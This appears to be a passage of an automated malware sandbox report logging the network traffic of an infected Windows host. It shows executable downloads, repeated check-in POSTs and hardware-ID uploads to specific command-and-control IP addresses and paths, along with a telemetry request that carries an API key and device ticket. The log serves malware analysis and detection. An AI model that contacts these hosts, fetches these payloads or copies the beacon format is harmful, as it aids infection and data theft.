Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:15:38 GMTContent-Type: application/octet-streamContent-Length: 2817536Last-Modified: Sat, 23 Nov 2024 19:40:12 GMTConnection: keep-aliveETag: "67422f9c-2afe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 db 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 71 79 69 78 73 77 62 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6f 76 6b 6b 71 67 6b 00 20 00 00 00 40 2b 00 00 04 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 dc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:15:42 GMTContent-Type: application/octet-streamContent-Length: 2817536Last-Modified: Sat, 23 Nov 2024 19:40:14 GMTConnection: keep-aliveETag: "67422f9e-2afe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 db 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 71 79 69 78 73 77 62 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6f 76 6b 6b 71 67 6b 00 20 00 00 00 40 2b 00 00 04 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 dc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 20:16:02 GMTContent-Type: application/octet-streamContent-Length: 2817536Last-Modified: Sat, 23 Nov 2024 19:40:14 GMTConnection: keep-aliveETag: "67422f9e-2afe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 db 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 71 79 69 78 73 77 62 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6f 76 6b 6b 71 67 6b 00 20 00 00 00 40 2b 00 00 04 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 dc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEL9f9ZdE6XEOizK7dZeFMazgAKZOBtR2xu8UuLipG5J+I1bazh+Jh9vgRd31ehJ0uPnQkp5jZj30ir19+fPR2mtkbRlbw/4AsnmFKZ7EMqBsRrFiMEtZYu7WMBhyYtdVGlwPnCd0KDwMN8cz5Dz8YhU7dMF0jVIMT3MdEVZbMrVWYr06jOAUxbH6RQZ0jBRnz98tQWd7/Ls8yUE+RIlOu0Bjx58l98+IorthmxRBYKPDiAkmjrm6dTNJpt4jwqEHTUflf2uKDgRAhM+FNQA0ZB+QjhyQSBA9XLEiEi+8/qft2MkNTElbV0nbmChrQHOj+7qjIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732393162280Host: self.events.data.microsoft.comContent-Length: 7983Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008515001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008516001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 43 44 44 42 31 37 39 39 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"B5CDDB1799AC3343412148------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"mars------AKFIDHDGIEGCAKFIIJKF--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008517001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 43 44 44 42 31 37 39 39 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="hwid"B5CDDB1799AC3343412148------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="build"mars------HCFCAAEBGCAKKFIDBKJJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 35 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008518001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 43 44 44 42 31 37 39 39 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="hwid"B5CDDB1799AC3343412148------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="build"mars------ECFCBFBGDBKJKECAAKKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
